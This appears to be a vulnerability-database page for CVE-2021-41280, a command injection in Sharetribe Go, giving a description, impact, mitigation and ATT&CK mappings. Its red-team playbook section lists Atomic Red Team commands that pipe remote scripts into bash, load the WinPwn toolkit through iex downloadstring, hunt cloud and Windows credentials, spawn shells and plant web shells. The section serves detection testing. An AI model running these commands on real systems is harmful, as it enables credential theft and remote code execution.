CVE-2021-41280
Overview
This vulnerability is an operating system command injection affecting Sharetribe Go marketplace software. The root cause is the lack of validation or sanitization of input when the sns_notification_token configuration parameter is unset, allowing injection of arbitrary shell commands. The affected component is the notification handling mechanism that integrates with AWS Simple Notification Service (SNS).
Vulnerability Description
Sharetribe Go is a source available marketplace software. In affected versions operating system command injection is possible on installations of Sharetribe Go, that do not have a secret AWS Simple Notification Service (SNS) notification token configured via the `sns_notification_token` configuration parameter. This configuration parameter is unset by default. The vulnerability has been patched in version 10.2.1. Users who are unable to upgrade should set the`sns_notification_token` configuration parameter to a secret value.
Impact
An unauthenticated remote attacker can exploit this vulnerability by sending specially crafted SNS notifications to a vulnerable Sharetribe Go instance that lacks a configured sns_notification_token. Successful exploitation results in arbitrary command execution on the host operating system, enabling full system compromise, data manipulation, or service disruption. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms that no authentication or user interaction is required, increasing the severity and ease of exploitation.
Solution
Users should upgrade Sharetribe Go to version 10.2.1 or later, where the vulnerability is patched, as detailed in the GitHub security advisory GHSA-hjjc-p9hr-424c and the release notes for v10.2.1. For environments unable to upgrade immediately, setting the sns_notification_token configuration parameter to a secret value mitigates the issue by enforcing token validation on SNS notifications. Refer to the official Sharetribe GitHub advisory and commit 5b844f8108c5458d89f0d7ba974f42d7917b5f80 for detailed remediation instructions.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Sharetribe Go arises from an improper handling of the configuration parameter related to AWS Simple Notification Service (SNS). Specifically, when the `sns_notification_token` is not configured, the software is susceptible to operating system command injection. This flaw allows an attacker to execute arbitrary commands on the server where Sharetribe Go is hosted. The default state of this parameter being unset significantly increases the risk, as many installations may overlook this critical configuration step. The potential for command injection can lead to severe consequences, including unauthorized access to sensitive data, system compromise, and further exploitation of the underlying infrastructure.
Attack vectors exploiting this vulnerability can be multifaceted. An attacker could leverage web application interfaces that interact with the SNS service, crafting malicious payloads that exploit the lack of a secret token. By injecting commands through these interfaces, an attacker could execute arbitrary code, potentially gaining control over the server. Additionally, if the application is exposed to the internet without adequate security measures, the attack surface expands, making it easier for malicious actors to discover and exploit the vulnerability. Scenarios may include automated scripts scanning for vulnerable instances or targeted attacks against known installations of Sharetribe Go.
The real-world impact of this vulnerability is significant, particularly for businesses relying on Sharetribe Go for their marketplace operations. The high CVSS score of 9.8 indicates a critical risk level, suggesting that successful exploitation could lead to severe data breaches, loss of customer trust, and financial repercussions. Organizations may face regulatory scrutiny if sensitive customer information is compromised, leading to potential fines and legal liabilities. Furthermore, the operational disruption caused by a successful attack could hinder business continuity, resulting in lost revenue and damage to reputation.
To detect and mitigate the risks associated with this vulnerability, organizations should prioritize upgrading to the patched version of Sharetribe Go, specifically version 10.2.1 or later. For those unable to upgrade immediately, a critical interim measure involves configuring the `sns_notification_token` with a strong, secret value. Regular security audits and vulnerability assessments should be conducted to identify and remediate any instances of the vulnerability. Additionally, implementing a robust web application firewall (WAF) can help filter out malicious requests and provide an extra layer of security against command injection attempts. Monitoring logs for unusual activity and employing intrusion detection systems (IDS) can also aid in early detection of potential exploitation attempts.
In conclusion, the command injection vulnerability in Sharetribe Go poses a serious threat to organizations utilizing this marketplace software. The combination of a high-risk score, the potential for severe impacts, and the ease of exploitation underscores the necessity for immediate action. By understanding the technical details, attack vectors, and implementing effective detection and mitigation strategies, organizations can significantly reduce their risk exposure and protect their assets against this critical vulnerability.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Sharetribe | Sharetribe | All |
cpe:2.3:a:sharetribe:sharetribe:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
47%
|
High | High | |
| CAPEC-6 | Argument Injection |
46%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
40%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-41280 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/sharetribe/sharetribe/security/advisories/GHSA-hjjc-p9hr-424c |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/sharetribe/sharetribe/commit/5b844f8108c5458d89f0d7ba974f42d7917b5f80 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/sharetribe/sharetribe/releases/tag/v10.2.1 |